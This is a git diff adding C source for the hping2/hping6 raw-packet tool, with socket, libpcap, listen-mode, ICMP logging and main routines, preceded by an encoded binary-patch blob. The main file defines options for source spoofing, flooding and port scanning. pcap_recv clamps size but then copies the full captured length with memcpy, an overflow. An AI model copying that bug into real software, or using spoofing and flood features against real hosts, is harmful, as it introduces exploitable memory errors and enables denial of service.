zC_@`R)SobHvo{1qcnM)QuSpjG;OBxkQGusw0KnvsMku0+Ss@L}Cn6TpK^hjVH~emr zHoDccRT;?V4O9a1HGw#)W$noAqQxC23cn`8Z-~ch_GqYseAS3gf`mZbXvl@)lc8Wu zLHxIktRj$m473U)1hV)dV|^LjfaBzQt3cvqd72Tq*F#2-FikURIpH^~LqO?l0`g^J z-D;4wb;ZUyXh?I)kBTpccz8_1@rEtP*b2&xf~&+U#fl7EX1~hYk;6OA6e}`S()gMc zIlK-^u_AMB2Ug@R6;!bz1Glx*Fr=FLt3(ekm!iOK5I3$jja2xKkiAX!EQEPb<9mg! z>>r72M2%->M6N<4G6ovKq3#0`iep|uJLphjWb*yFqcKjKGsgEHGIp5JJ4^J2B~k4w ze)ZC!~AEMdne1sT?g%p%cR#jfr%MCbK#?9OeZ&sPX1U7D$66`{MKt6N21 zr@;4;u3&;(fdqZMpsyMTuq@3$=p_w3+BA3>$QpsTKb5t+7NFt)Q?V2z-hM}Y6C_^z z%Cbt^k%I`Xk2p+yhKVxzGHBn0ZNk6b7|a>j!7kV$h3$Py!d8Au3Z@x^JZk96Xw z_;QFZGvZf*w8fXF5g!@2xgrDGp;5a+M#_kf%z0y_Xr^I_geA%nX&A6ry4|)zzFr95 zD+AeTpw%FE2&B6ia@QEfGLX2SNOO`DW^=(z3y{@c%^gO2zAt`E)-)x2N~FvSFlwia?HV1KvR_~m>^eRnp-XqgdnB4GDOkOM7z0Y1@Mco zKwq>1z+8|`iy(WR$mUoSwIjE}XiS3SyWgBNBXTf}{-U!#vNVhuR}AA`H^!|3 ziI}j0V$&)xon{!2FrC+GV$@D!Z)7@IE}HO4O`hRE!x}4U4;aIeFbH~S`3(|rVqu^W zC}IPN=rEg(UikfEQFOaeSokj?GmSTqwOcnSf*~<)Q%)#TQwIo7-%t!lRO>?3x(zt(T&OYP ze%~j0|7oI80<};_`Bvl3Ox(nI*Xb@*n1=UOn_GBmXi!{`VT5dcJ7f9r_6JF$1l9QpgWN=p!NjY9M}= zyhDo0E`{tzO|4~+{o4=%`GP>|x&)c`LcXXCk%dy!h9cPTgb}m~By7=B5ON=ej3A*| zGa?tpB67PoYKMu%Jw|*9NN8s9rR~VQ8#01~X3dCPXh$R-`rrEW6l8bZRJ7Ux$$#GJ@&liZrm$f7JgOCv<-tej!k^6~ZECX3j|Bn_WAln4eb&i?B*-6jU_>tTEV8VK zdR7e2zGFOF2@(y*o)w#}ctywv5>9JI#P>4X5iO7y1x6{YHH#hY#l% z(^i4BeJD3Rw1?4!{P685n)&=}Li1`_5o8)%GZ zVgm`6m`zXX;rCFn5q{7O5|9`nJ?VB#pSk@G%+-(n0*1#uy)AYzoL_4kEr~i>;yUUG ziTYgP`s~z*x?keD@6-rmps8ae66kW>y%tX%OL<<3K9QqU1mB?FDsp?2RrGbbX?(gm z34$)1qzD3ufbncnYPt-JB1YF3g1+8}!l)62FyjBl0Lzd*10C#5k?GlRL8GqqsEhfP zu1rAM;>si9(pbfwT>dUM0d{gq4x$D@R}AY$n<%XU zX&YP|IRQltE{DN)8#`8mv<)sd20sxpg0u}TPh)U749+tKuLfxwTplsFMwFrR(K-wy zIvb~oM^EFs~!%akA#eyctqAe@O+)H^7;ofx-qXY5c~HmKG5{< zNHHREi!LgDvJsCik$wz8AsQ~`O^!6%Mlt3>InqMsQ`jdqeY0xI+-hlld5tP7jMj?8 zx0l#~`S2T0ji`tYOy?Mo2ni3|XkSJ}3{^T8g0w3}M=dI1CZrgEv@1p@#nIII`j>IJ zOQO4jhi42VYYw}Gx*G1?_vP_UJn#H3JnktEHRBO!x4!%E^C!YTQ+_CLpGtP?rePH#eqzEhO*SgC$m#)T@=_Nu9`X>)$VOAC%*Ja>UaM?(h6= zeRt;A@61syKL+AJnL9AQ9wB*`f2ZJhTuQw_j+k=f*%Fr@_*5yMDMvi9a-!t%^oU#k zQR?3@Zvl-;-~UHePx@9b=i+>RTT63(T|;GkTU9E5!{mv{iQ{wWy_anpa%&pe^4HY0 z(q=5oQeU?wzoxP>$}$PHHJ^y;kcn1m*(hS6xgpg`FWaQ2HuY=AD%k^i)FROJ_|&tLhrZ8oDY~O*G9Hts9$CEgB|U>lzJ*B57hEoyk;lbA4S)t1d$g z3JwcxXw7Y-uLfOM$48nDDwgro_>l$WojyB_zIf`~^*ysE4*(aP3@4Gr^ zoEG%XJ3h6tW_eqDaPIUVD=(;y?{2FJ61y{E!9$xDX86G#f10AV5xv)s?_Lp~F{5q4 z1%%zZ`4Pe%^kb8K%I)3!XUe@1que(WziktX|5uE~Z`;J;_s3!dKFMD~$Ujbx9qAMH zi61NUFFf)wg3jH1B>{i)pI?%@KG+z~3y%78koo7Jt^Dc}gSKfwW_)3=p*-lmFgHIq zJTF)o8_s4uq_pgbRV(^#5^!&98_~bqG)>Xdmgi4hv?4b@f6@AzsA7Fy(0|)~@fqKn zvY41|-o!pV7b8)hZQl?y#`C5UddH?XTmE8_t{u%q#q=%4BEGxPsZd0 zZQEM;NWz1hykJdi1l#kOvS+8V=d(>*?>uGCpOii4#bD1`vS!?(o>&@VnMIB8+fFOPWM+Wb86obAV6@clF6Cx1@RN6NXr zu`wL8b!>6pY4MytQ063#eLwCrCvoFsZ_7_DTCsf5^xzghmhWc=r!I_7n>~Swf4rGB zzvQ!#LGNinbI$glXI`-O`QV`PpytY&+!bS{%osi9MPj{vGso#Af7<%ff*yAdye9as z&F9Cf|8~^3*Pc`wKYPlz$jgo2J|RC?8yid8QxI$S-KPYXZ;5Z)8@%Yf72Ld~Jb2Qp zJ}LOgmiROZ*t1^s+rhvqV_j(KO19L}jIgGy+Dk4tE=h0oU7Kw6T3gmv)O)GQ+D0DB zG|YM6CM&9{lC%$NZI#Yeu5D>sr)p8{WU8UctFEu8Y4KW!uUX-zG}pDJR7qPyOI=Mv zsw#(Hc(6Xz+(Pel@OXY0HWv`Y^0l%yRk_xyYig-GHRUDO zRWz@qx?X*fCmXM+xv{mevXKmJZfETrknAuS?RKiJR!16XXT($tnVBI!&^LI-5$ZYe|yn zq_L%m!ssQNXft>USz{Z~6wj85^*R78wRP34+8q_OByWbuL8a|a5l}6i_d{(;)>mvy zH76Uwz}G3Z`o@Nu9QD;9qAaMcsj;cmYa>gjRo2!~b1+ILpXx?-gJNAUkz#Gl+q&)O zjmvFK$u$)%6kz@O4ONjFTfIe^>`}4eiVfTqv}v?|b~0I&Y9T+XDO3%Os#bGqT_bs{ zShx+91PW*azsR|%jZS~9jjhUemdQP>HrdwP9I-@>yltHS<{wkQN4_Y7Da`(Za1T2+*ps^)m@{89S>#<5bi{r;U2C! z5rSUPuu*kYJ!mNK6O(P^BrQKG+Uhw%O%+uI`Y=`>#_7X&eVD+tb;Bgr(`(S{Q|P-* zyegsDfK7&Kre)|hsa8-UpP{!;GokWZbg zRJCS2nHq($E zGs+h=rzczZoT5UhqOICPbp(nOz04u(wme|!^?a-vD%C2()owPP+wyB0*QN5CD)MWa zXeB$5BGS^DYVMe$34z@4xQSG(SqAq)2_v1H_nDYtaf z8&|oxG+ztK*GjVD3nx71~3D9!lceqLBooQbU#tE7TH+Y)=a0Q z`nGiqJf~7+6+Icjq>qL<4Hz}YD1Ro7=UJw$p{*rVMb)Xh@flhTYVX)NbEf2sC|lFk z(AuVZTJE?ul`Gg>Fgb6`_>mf=HTi*RWlmQ$rxttuhF<=FM7KEKgP2eFKq*uABxYyz zIxjXmEBm{_?5vz~GiGOv*xBXStT8*f&dQp+z1!TZ!dO+0tjTk;#>~nZK^(+MHD+hU z7iB70>VkmewUBJ@|3KDcs(!oJwVaP6>s+>LXD~M_XGaEU-`?f8tTA;xvPR6x%9#Z- z_$MXy=@Y4|wz3cHIL7!y9*9rJWt|wCM?TGp_%uuVG>v_sq&8vwYFWiuCvHe9YA)F| zjAWc8vhHAkv$A^ah|THQb z>~jNZ%bgi>vqtRbLT$OdYit&|y~yg3^D-GBzfB*VlNnpmkw?XJAYB4;TFJ5f>KGhL zedVIGzEc1Hs>Gr*yg%(v#}n|ydzut@Vwh7Fkfd}e;H&a9DWG@Tq)YT}kaRF2KNuUN1+o&IbAgPLZ;}>l?us2t3+7I86%FTjx6#Xpf@t(H3?V zAIzGeEViVN)n2%dJCyKrULDm5zMvDF=Q@@TxoRFIjOSIxv8RBV6A3$oKI!y+s}uYj zk<%ny3$OaPyc7N#JHhvKg8#Y`{C9-2{Z~m7U_F%GP%x zXNSlcBlkbmTtxhr65iVyr!z(VEuF}@NAdr8e~$2(DMT$`@+!T&#dGLwA&ch}Sj!}R zfs#CS@o}?fElwUcZ(hkUrODD+vuRmtF5Ix_Qj4oJ%Q{(Vsp6*kx>mg)=PWPT)WXSH zXX)h>)lu>zOQ;T)o{&M@yf%w0&O?>FngTb`%(D@x~02f?63gU7yn+Jv@4$h`q78q$jRwl3qRPxzo7oW$>l#+ z&Z&&s{3B&vV4OA|Hu9%gIBiU9@S7~$w&(8_Zu9e7`8e_6Q2N0Bd<#F!!doqTkcI!$ z!fpF6llg^7Jj&e7w8kGk~7l68!g=S>lVRX z`A=BP>&r1yq@YS>f#B zIWlf}jBw(gIT^?A*H{4p|A`2OF7}IKjl_MA6Z1P< zcVBSugxHCG3VSXV`G0o!cL~1V!LJn@@*w9%!TXCI;I|2WxP$kXelpI%Uz9k^a&VT% zX}*I`5;>&~{*dHPbntSCf4ze*6+eIC;4RYsZ*}meMKA7^z~9dVf5hRxL;QNn!S9p& z#}1C2d;ad=IVuYD<^|CMy(5J$$H6}lzm9b9zT($J2VX7mndRU;B)`nu89Q+vJFLUrg(w{0EoZsoeX`O@rQR1`F!M~9F zSq}cJ7UNy&;J+69S_hvXak$07@!a7a2j3$0JmcVXBIjKP$7{*3u0i}?5IG5nA8^PS z>foP=+=UK~_2_a3pDl6T;ou*OobNd}UyE|O(!qUcmpu-Ci1>@0Twp)?C-!gweudbR zEf);Hp?8>rzogCa@LVPMUl6@B9R4Zd*CGdhRpMOk;OnG+Haqw>@e|K!LN9(B+UfA) zI{b16$9e902mia+kLzE^e^~V1@9XnJN#I;B`togbEEX1Dhp>h=vR#v&ivh_-?myf z^P^vFv2fViG?#iuFu1LE_QJI58`-B4wFx_F_ccSaJJ_e zk>BFrV2H@f_+qWryT-u>%RF$igQFkb?ck$i zyg%XKSf9NhIO5Pt;{SJxpJRcz@3(M{58}{+GnAN@KmU}tV>?d76Y)93;a@3ou_q?@ z5w}qe{~qC=;^2^bw1qQyg2Zj1g|iOaUoH_Gali)ejSl}UlHcIqzmfbI4*nO(?~o(p z&y+Y{?cmtd{vJyXlOv@czTn`9|C=098V>n)u55r?f7&ir3W{@WJL z{D{wa7S8;ed(juAD;<1?+?c=C!dVX9{Bx6qvz#pcaf8xNEu8rg&%GAT{9A?pehX)Q ztbZP}aOVHB@IP(g%#ZouB@1W%rSfRWn}VZVc2gOr4=jEe(hC2(g|nPLh@3#;#2A0( z%a1Jy2fsk@K7vE+fES%+BA^fu}ocR&wLJQ}9RVee}3JYg` z^xH}cXZaK4N48T0M?A4b^u-SUTH*hGC;SgO{O1Y(n+`uVu1?4}gWeoAmePTOvyJT6 zR`F|ug>%`XBEP`Fr^pX?6D{19Gq)3bso=0@lGwA>!8ZxM!@{L2kX5wav~X@({O|Wl z!P#~eu}%EC!QsdH`#y&s=a)ws`7S8-N z{16AFPXtGN@ITPcEq;zOepg7ye8w{PbA`w`$id$c{1Cw*AM5+64t@|Tp|rxmvGa9} zC7=DeS>k-M!;j~`F0lC7&hByp>kM_d5LeUF1QFpT`kD$I0op7S8d!M&!Kg;13D@j)T7|_y>Z+PV7U_L(cQS zFO+!p5uA0hJ%wV=5DVwB%%Su}=|~4J5`4Ua-zxYF!J+pP(R;kZ|Ap`;9e!*!+hpM~ zwJCeBet~>Em-2m!KSrFTqW7l`j!lQ3a`2ah{{shqNt9>FdIx&34R?-%<2l@^f^#hS zGkBOX-<#{;#|ys1!ns{;m3CQX;VkDu;ZHjFjUVOUe-V7PgP%QG^DlDn)wvok6&!KE zJ{v17evW4jcXmox{~`{xc^YrE__^#Y!8bX0UB2c&)52LkejmTc!dcD-!heN>A2CMD zx!%EB1i!_>?-Tq^2hS|fa_+Hk+nyH$M|`khs>tI;O7c|uTJo62gf>gpo70bx;YJTaPS}D z;3vy^_{dK1aSpyv`p=|J@S`1ErgLvjC-@=hCrtaC1NaNLL4=ioRW;kiV}!F@;-uR9kY`u%XJh3QF*i_ zOGQ1v)S9*$+AX2Fk;EywV$GW7)cOv^RG~w@qPe1>CPi9x4dk>IC4~MbltMAtw*s2cRuN;S+topexUHz-LV^I1+AI!H~|Gxo_#u>2y literal 0 HcmV?d00001 diff --git a/libpcap_stuff.c b/libpcap_stuff.c new file mode 100644 index 0000000..80a63d5 --- /dev/null +++ b/libpcap_stuff.c @@ -0,0 +1,75 @@ +/* + * $smu-mark$ + * $name: libpcap_stuff.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 8$ + */ + +#include "hping2.h" + +/* This is not be compiled if the target is linux without libpcap */ +#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP) +#include +#include +#include +#include +#include +#include + +#include "globals.h" + +int open_pcap() +{ + int on; + + on = 1; /* no warning if BIOCIMMEDIATE will not be compiled */ + if (opt_debug) + printf("DEBUG: pcap_open_live(%s, 99999, 0, 1, %p)\n", + ifname, errbuf); + + pcapfp = pcap_open_live(ifname, 99999, 0, 1, errbuf); + if (pcapfp == NULL) { + printf("[open_pcap] pcap_open_live: %s\n", errbuf); + return -1; + } +#if (!defined OSTYPE_LINUX) && (!defined __sun__) + /* Return the packets to userspace as fast as possible */ + if (ioctl(pcap_fileno(pcapfp), BIOCIMMEDIATE, &on) == -1) + perror("[open_pcap] ioctl(... BIOCIMMEDIATE ...)"); +#endif + return 0; +} + +int close_pcap() +{ + pcap_close(pcapfp); + return 0; +} + +int pcap_recv(char *packet, unsigned int size) +{ + char *p = NULL; + int pcapsize; + + if (opt_debug) + printf("DEBUG: under pcap_recv()\n"); + + while(p == NULL) { + p = (unsigned char*) pcap_next(pcapfp, &hdr); + if (p == NULL && opt_debug) + printf("DEBUG: [pcap_recv] p = NULL\n"); + } + + pcapsize = hdr.caplen; + + if (pcapsize < size) + size = pcapsize; + + memcpy(packet, p, pcapsize); + + return pcapsize; +} +#endif /* ! OSTYPE_LINUX || FORCE_LIBPCAP */ diff --git a/linux_sockpacket.c b/linux_sockpacket.c new file mode 100644 index 0000000..6c73b75 --- /dev/null +++ b/linux_sockpacket.c @@ -0,0 +1,73 @@ +/* + * $smu-mark$ + * $name: linux_sockpacket.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 8$ + */ + +#include "hping2.h" + +#if (defined OSTYPE_LINUX) && (!defined FORCE_LIBPCAP) +#include +#include +#include +#include /* close */ +#include + +#include "globals.h" + +static void enlarge_recvbuf(int fd) +{ + int val = 131070; + int len = sizeof(val); + + /* Don't check the error: non fatal */ + setsockopt(fd, SOL_SOCKET, SO_RCVBUF, (const char *) &val, len); +} + +#ifndef ETH_P_IPV6 +# define ETH_P_IPV6 0x86DD +#endif + +int open_sockpacket() +{ + int s; + + if (opt_debug) + printf("DEBUG: Trying to open PF_PACKET socket... "); + +// s = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP)); +// s = socket(PF_PACKET, SOCK_DGRAM, 768); + if(opt_ipv6) + s = socket(PF_PACKET, SOCK_DGRAM, htons(ETH_P_IPV6)); + else + s = socket(PF_PACKET, SOCK_DGRAM, htons(ETH_P_IP)); + + if (s == -1) { + if (opt_debug) { + printf("DEBUG: failed ( 2.0.x kernel? )\n"); + printf("DEBUG: Trying to open SOCK_PACKET socket... "); + } + s = socket(AF_INET, SOCK_PACKET, htons(ETH_P_IP)); + } + + if (s == -1) { + perror("[open_sockpacket] socket()"); + return -1; + } + enlarge_recvbuf(s); + + if (opt_debug) + printf("DEBUG: PF_PACKET, SOCK_RAW open OK\n"); + + return s; +} + +int close_sockpacket(int s) +{ + return close(s); +} +#endif /* OSTYPE_LINUX && !FORCE_LIBPCAP */ diff --git a/listen.c b/listen.c new file mode 100644 index 0000000..5fb6ac4 --- /dev/null +++ b/listen.c @@ -0,0 +1,79 @@ +/* + * $smu-mark$ + * $name: listen.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 8$ + */ + +#include +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" /* hping2.h includes hcmp.h */ +#include "globals.h" + +void listenmain(void) +{ + int size, ip_size; + int stdoutFD = fileno(stdout); + char packet[IP_MAX_SIZE+linkhdr_size]; + char *p, *ip_packet; + struct myiphdr ip; + __u16 id; + static __u16 exp_id; /* expected id */ + + exp_id = 1; + + while(1) { + size = read_packet(packet, IP_MAX_SIZE+linkhdr_size); + switch(size) { + case 0: + continue; + case -1: + exit(1); + } + + /* Skip truncated packets */ + if (size < linkhdr_size+IPHDR_SIZE) + continue; + ip_packet = packet + linkhdr_size; + + /* copy the ip header so it will be aligned */ + memcpy(&ip, ip_packet, sizeof(ip)); + id = ntohs(ip.id); + ip_size = ntohs(ip.tot_len); + if (size-linkhdr_size > ip_size) + size = ip_size; + else + size -= linkhdr_size; + + if ((p = memstr(ip_packet, sign, size))) { + if (opt_verbose) + fprintf(stderr, "packet %d received\n", id); + + if (opt_safe) { + if (id == exp_id) + exp_id++; + else { + if (opt_verbose) + fprintf(stderr, "packet not in sequence (id %d) received\n", id); + send_hcmp(HCMP_RESTART, exp_id); + if (opt_verbose) + fprintf(stderr, "HCMP restart from %d sent\n", exp_id); + continue; /* discard this packet */ + } + } + + p+=strlen(sign); + write(stdoutFD, p, size-(p-ip_packet)); + } + } +} diff --git a/logicmp.c b/logicmp.c new file mode 100644 index 0000000..6f4881f --- /dev/null +++ b/logicmp.c @@ -0,0 +1,112 @@ +/* + * $smu-mark$ + * $name: logicmp.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 8$ + */ + +#include +#include /* this should be not needed, but ip_icmp.h lacks it */ + +#include "hping2.h" +#include "globals.h" + +void log_icmp_timeexc(const char *src_addr, unsigned short icmp_code) +{ + switch(icmp_code) { + case ICMP_EXC_TTL: + printf("TTL 0 during transit from ip=%s", src_addr); + break; + case ICMP_EXC_FRAGTIME: + printf("TTL 0 during reassembly from ip=%s", src_addr); + break; + } + if (opt_gethost) { + char *hostn; + + fflush(stdout); + hostn = get_hostname(src_addr); + printf("name=%s", (hostn) ? hostn : "UNKNOWN"); + } +} + +void log_icmp_unreach(const char *src_addr, unsigned short icmp_code) +{ + static char* icmp_unreach_msg[]={ + "Network Unreachable", /* code 0 */ + "Host Unreachable", /* code 1 */ + "Protocol Unreachable", /* code 2 */ + "Port Unreachable", /* code 3 */ + "Fragmentation Needed/DF set", /* code 4 */ + "Source Route failed", /* code 5 */ + NULL, /* code 6 */ + NULL, /* code 7 */ + NULL, /* code 8 */ + NULL, /* code 9 */ + NULL, /* code 10 */ + NULL, /* code 11 */ + NULL, /* code 12 */ + "Packet filtered", /* code 13 */ + "Precedence violation", /* code 14 */ + "precedence cut off" /* code 15 */ + }; + + if (icmp_code < 16 && icmp_unreach_msg[icmp_code] != NULL) + printf("ICMP %s from ip=%s", icmp_unreach_msg[icmp_code], src_addr); + else + printf("ICMP Unreachable type=%d from ip=%s", + icmp_code, src_addr); + + if (opt_gethost) { + char *hostn; + + fflush(stdout); + hostn = get_hostname(src_addr); + printf("name=%s", (hostn) ? hostn : "UNKNOWN"); + } + putchar('\n'); +} + +void log_icmp6_unreach(const char *src_addr, unsigned short icmp_code) +{ + static char* icmp_unreach_msg[]={ + "Network Unreachable", /* code 0 */ + "Packet Filtered", /* code 1 */ + "Unreachable type=2", /* code 2 */ + "Address Unreachable", /* code 3 */ + "Port Unreachable", /* code 4 */ + }; + + if (icmp_code < 5) + printf("ICMP6 %s from ip=%s", icmp_unreach_msg[icmp_code], src_addr); + else + printf("ICMP6 Unreachable type=%d from ip=%s", + icmp_code, src_addr); + + if (opt_gethost) { + char *hostn; + + fflush(stdout); + hostn = get_hostname(src_addr); + printf("name=%s", (hostn) ? hostn : "UNKNOWN"); + } + putchar('\n'); +} + +void log_icmp6_ptb(const char *src_addr, __u32 mtu) +{ + printf("ICMP6 Packet Too Big, MTU=%d from ip=%s", + mtu, src_addr); + + if (opt_gethost) { + char *hostn; + + fflush(stdout); + hostn = get_hostname(src_addr); + printf("name=%s", (hostn) ? hostn : "UNKNOWN"); + } + putchar('\n'); +} diff --git a/main.c b/main.c new file mode 100644 index 0000000..f700c02 --- /dev/null +++ b/main.c @@ -0,0 +1,390 @@ +/* + * $smu-mark$ + * $name: main.c$ + * $author: Salvatore Sanfilippo $ + * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ + * $license: This software is under GPL version 2 of license$ + * $date: Fri Nov 5 11:55:48 MET 1999$ + * $rev: 8$ + */ + +/* + * hping official page at http://www.kyuzz.org/antirez + * Covered by GPL version 2, Read the COPYING file for more information + */ + +/* $Id: main.c,v 1.26 2003/08/07 23:55:55 antirez Exp $ */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "hping2.h" + +#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP) +#include +#endif /* ! OSTYPE_LINUX || FORCE_LIBPCAP */ + +/* globals */ +unsigned int + tcp_th_flags = 0, + linkhdr_size = -1, /* physical layer header size */ + ip_tos = 0, + set_seqnum = FALSE, + tcp_seqnum = FALSE, + set_ack, + h_if_mtu, + virtual_mtu = DEFAULT_VIRTUAL_MTU, + ip_frag_offset = 0, + signlen, + lsr_length = 0, + ssr_length = 0, + tcp_ack; + + +unsigned short int + data_size = 0; + +float + rtt_min = 0, + rtt_max = 0, + rtt_avg = 0; + +int + sockpacket, + sockraw, + sent_pkt = 0, + recv_pkt = 0, + out_of_sequence_pkt = 0, + sending_wait = DEFAULT_SENDINGWAIT, /* see DEFAULT_SENDINGWAIT */ + opt_rawipmode = FALSE, + opt_icmpmode = FALSE, + opt_udpmode = FALSE, + opt_scanmode = FALSE, + opt_listenmode = FALSE, + opt_waitinusec = FALSE, + opt_numeric = FALSE, + opt_gethost = TRUE, + opt_quiet = FALSE, + opt_relid = FALSE, + opt_fragment = FALSE, + opt_df = FALSE, + opt_mf = FALSE, + opt_debug = FALSE, + opt_verbose = FALSE, + opt_winid_order = FALSE, + opt_keepstill = FALSE, + opt_datafromfile= FALSE, + opt_hexdump = FALSE, + opt_contdump = FALSE, + opt_sign = FALSE, + opt_safe = FALSE, + opt_end = FALSE, + opt_traceroute = FALSE, + opt_seqnum = FALSE, + opt_incdport = FALSE, + opt_force_incdport = FALSE, + opt_icmptype = DEFAULT_ICMP_TYPE, + opt_icmpcode = DEFAULT_ICMP_CODE, + opt_rroute = FALSE, + opt_tcpexitcode = FALSE, + opt_badcksum = FALSE, + opt_tr_keep_ttl = FALSE, + opt_tcp_timestamp = FALSE, + opt_tr_stop = FALSE, + opt_tr_no_rtt = FALSE, + opt_rand_dest = FALSE, + opt_rand_source = FALSE, + opt_lsrr = FALSE, + opt_ssrr = FALSE, + opt_cplt_rte = FALSE, + opt_bps = 0, + opt_pps = 0, + tcp_exitcode = 0, + src_ttl = DEFAULT_TTL, + src_id = -1, /* random */ + base_dst_port = DEFAULT_DPORT, + dst_port = DEFAULT_DPORT, + src_port, + sequence = 0, + initsport = DEFAULT_INITSPORT, + src_winsize = DEFAULT_SRCWINSIZE, + src_thoff = (TCPHDR_SIZE >> 2), + count = DEFAULT_COUNT, + ctrlzbind = DEFAULT_BIND, + delaytable_index= 0, + eof_reached = FALSE, + icmp_ip_version = DEFAULT_ICMP_IP_VERSION, + icmp_ip_ihl = DEFAULT_ICMP_IP_IHL, + icmp_ip_tos = DEFAULT_ICMP_IP_TOS, + icmp_ip_tot_len = DEFAULT_ICMP_IP_TOT_LEN, + icmp_ip_id = DEFAULT_ICMP_IP_ID, + icmp_ip_protocol= DEFAULT_ICMP_IP_PROTOCOL, + icmp_ip_srcport = DEFAULT_DPORT, + icmp_ip_dstport = DEFAULT_DPORT, + opt_force_icmp = FALSE, + icmp_cksum = DEFAULT_ICMP_CKSUM, + raw_ip_protocol = DEFAULT_RAW_IP_PROTOCOL, + opt_ipv6 = FALSE, + opt_af = AF_INET, + opt_flood = FALSE; + +char + datafilename [1024], + targetname [1024], + targetstraddr [1024], + ifname [1024] = {'\0'}, + ifstraddr [1024], + spoofaddr [1024], + icmp_ip_srcip [1024], + icmp_ip_dstip [1024], + icmp_gwip [1024], + sign [1024], + rsign [1024], /* reverse sign (hping -> gniph) */ + ip_opt [40], + *opt_scanports = ""; + +unsigned char + lsr [255] = {0}, + ssr [255] = {0}; + +unsigned + ip_optlen = 0; + +struct sockaddr_in + icmp_ip_src, + icmp_ip_dst, + icmp_gw; +struct SOCKADDR + local, + remote; + +struct itimerval usec_delay; +volatile struct delaytable_element delaytable[TABLESIZE]; + +struct hcmphdr *hcmphdr_p; /* global pointer used by send_hcmp to transfer + hcmp headers to data_handler */ + +#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP) +pcap_t *pcapfp; +char errbuf[PCAP_ERRBUF_SIZE]; +struct pcap_pkthdr hdr; +#endif /* ! OSTYPE_LINUX || FORCE_LIBPCAP */ + +/* main */ +int main(int argc, char **argv) +{ + char setflags[1024] = {'\0'}; + int c, hdr_size; + + if (parse_options(argc, argv) == -1) { + printf("hping6: missing host argument\n" + "Try `hping6 --help' for more information.\n"); + exit(1); + } + + /* reverse sign */ + if (opt_sign || opt_listenmode) { + char *src = sign+strlen(sign)-1; /* last char before '\0' */ + char *dst = rsign; + + while(src>=sign) + *dst++ = *src--; + *dst = '\0'; + if (opt_debug) + printf("DEBUG: reverse sign: %s\n", rsign); + } + + /* get target address before interface processing */ + if (opt_ipv6) + resolve6((struct sockaddr*)&remote, targetname); + else if ((!opt_listenmode && !opt_safe) && !opt_rand_dest) + resolve((struct sockaddr*)&remote, targetname); + + if (opt_rand_dest) { + strlcpy(targetstraddr, targetname, sizeof(targetstraddr)); + } else { + inet_ntop(opt_af, ADDR(&remote), targetstraddr, sizeof(targetstraddr)); + } + + /* get interface's name and address */ + if ( get_if_name() == -1 ) { + printf("[main] no such device\n"); + exit(1); + } + + if (opt_verbose || opt_debug) { + printf("using %s, addr: %s, MTU: %d\n", + ifname, ifstraddr, h_if_mtu); + } + + /* open raw socket */ + sockraw = open_sockraw(); + if (sockraw == -1) { + printf("[main] can't open raw socket\n"); + exit(1); + } + + /* set SO_BROADCAST option */ + socket_broadcast(sockraw); + /* set SO_IPHDRINCL option */ + if(!opt_ipv6) + socket_iphdrincl(sockraw); + + /* open sock packet or libpcap socket */ +#if (defined OSTYPE_LINUX) && (!defined FORCE_LIBPCAP) + sockpacket = open_sockpacket(); + if (sockpacket == -1) { + printf("[main] can't open packet socket\n"); + exit(1); + } +#else + if (open_pcap() == -1) { + printf("[main] open_pcap failed\n"); + exit(1); + } +#endif /* OSTYPE_LINUX && !FORCE_LIBPCAP */ + + /* get physical layer header size */ + if (linkhdr_size == -1 && get_linkhdr_size(ifname) == -1) { + printf("[main] physical layer header size unknown (try --lhs)\n"); + exit(1); + } + + if (spoofaddr[0] != '\0') + { + if(opt_ipv6) + resolve6((struct sockaddr*)&local, spoofaddr); + else + resolve((struct sockaddr*)&local, spoofaddr); + } + + if (icmp_ip_srcip[0] == '\0') + resolve((struct sockaddr*)&icmp_ip_src, "1.2.3.4"); + else + resolve((struct sockaddr*)&icmp_ip_src, icmp_ip_srcip); + + if (icmp_ip_dstip[0] == '\0') + resolve((struct sockaddr*)&icmp_ip_dst, "5.6.7.8"); + else + resolve((struct sockaddr*)&icmp_ip_dst, icmp_ip_dstip); + + if (icmp_gwip[0] == '\0') + resolve((struct sockaddr*)&icmp_gw, "0.0.0.0"); + else + resolve((struct sockaddr*)&icmp_gw, icmp_gwip); + + srand(time(NULL)); + + /* set initial source port */ + if (initsport == -1) + initsport = src_port = 1024 + (rand() % 2000); + else + src_port = initsport; + + for (c = 0; c < TABLESIZE; c++) + delaytable[c].seq = -1; + + /* use SIGALRM to send packets like ping do */ + Signal(SIGALRM, send_packet); + + /* binding */ + if (ctrlzbind != BIND_NONE) Signal(SIGTSTP, inc_destparm); + Signal(SIGINT, print_statistics); + Signal(SIGTERM, print_statistics); + + /* if we are in listemode enter in listenmain() else */ + /* print HPING... bla bla bla and enter in wait_packet() */ + if (opt_listenmode) { + fprintf(stderr, "hping6 listen mode\n"); + + /* memory protection */ + if (memlockall() == -1) { + perror("[main] memlockall()"); + fprintf(stderr, "Warning: can't disable memory paging!\n"); + } else if (opt_verbose || opt_debug) { + printf("Memory paging disabled\n"); + } + listenmain(); + /* UNREACHED */ + } + + /* Scan mode */ + if (opt_scanmode) { + fprintf(stderr, "Scanning %s (%s), port %s\n", + targetname, targetstraddr, opt_scanports); + scanmain(); + /* UNREACHED */ + } + + if (opt_rawipmode) { + strcat(setflags, "raw IP mode"); + hdr_size = IPHDR_SIZE; + } else if (opt_icmpmode) { + strcat(setflags, "icmp mode"); + hdr_size = IPHDR_SIZE + ICMPHDR_SIZE; + } 